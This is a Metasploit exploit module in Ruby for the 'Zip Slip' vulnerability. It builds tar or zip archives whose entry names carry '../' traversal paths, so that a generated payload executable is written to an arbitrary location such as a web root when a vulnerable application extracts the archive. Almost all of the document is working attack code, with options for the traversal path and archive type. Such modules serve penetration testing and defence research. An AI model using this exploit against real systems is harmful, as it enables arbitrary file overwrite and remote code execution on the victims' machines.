125 lines
3.5 KiB
Ruby
125 lines
3.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex/zip'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Generic Zip Slip Traversal Vulnerability',
|
|
'Description' => %q{
|
|
This is a generic arbitrary file overwrite technique, which typically results in remote
|
|
command execution. This targets a simple yet widespread vulnerability that has been
|
|
seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
|
|
The idea is that often archive extraction libraries have no mitigations against
|
|
directory traversal attacks. If an application uses it, there is a risk when opening an
|
|
archive that is maliciously modified, and result in the embedded payload to be written
|
|
to an arbitrary location (such as a web root), and result in remote code execution.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Snyk', # Technique discovery
|
|
'sinn3r', # Metasploit
|
|
'ggkitsas'
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://snyk.io/research/zip-slip-vulnerability']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread',
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'Platform' => ['linux', 'win', 'unix'],
|
|
'Targets' =>
|
|
[
|
|
['Manually determined', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2018-06-05'
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('FILENAME', [true, 'The name of the archive file', 'msf.tar']),
|
|
OptEnum.new('FTYPE', [true, 'The archive type', 'tar', ['tar', 'zip'] ]),
|
|
OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
|
|
])
|
|
end
|
|
|
|
class ZipSlipArchive
|
|
attr_reader :data
|
|
attr_reader :fname
|
|
attr_reader :payload
|
|
attr_reader :type
|
|
|
|
def initialize(n, p, t)
|
|
@fname = n
|
|
@payload = p
|
|
@type = t
|
|
@data = make
|
|
end
|
|
|
|
def make
|
|
data = ''
|
|
path = Rex::FileUtils.normalize_unix_path(fname)
|
|
|
|
if type == 'tar'
|
|
contents = StringIO.new
|
|
Rex::Tar::Writer.new(contents) do |t|
|
|
t.add_file(path, 0o777) do |f|
|
|
f.write(payload)
|
|
end
|
|
end
|
|
contents.seek(0)
|
|
data = contents.read
|
|
contents.close
|
|
data
|
|
elsif type == 'zip'
|
|
zip = Rex::Zip::Archive.new
|
|
zip.add_file(path, payload)
|
|
data = zip.pack
|
|
end
|
|
end
|
|
end
|
|
|
|
def make_archive(target_payload_path, type)
|
|
elf = generate_payload_exe(code: payload.encoded)
|
|
archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe, type)
|
|
archive.make
|
|
end
|
|
|
|
def exploit
|
|
target_payload_path = datastore['TARGETPAYLOADPATH']
|
|
unless target_payload_path.match(%r{\.\./})
|
|
print_error('Please set a traversal path')
|
|
return
|
|
end
|
|
|
|
archive = make_archive(target_payload_path, datastore['FTYPE'])
|
|
file_create(archive)
|
|
print_status('When extracted, the payload is expected to extract to:')
|
|
print_status(target_payload_path)
|
|
end
|
|
end
|
|
|
|
# A quick test:
|
|
#
|
|
# $ python
|
|
# >>> import tarfile
|
|
# >>> t = tarfile.open('test.tar')
|
|
# >>> t.extractall()
|
|
# >>> exit()
|
|
#
|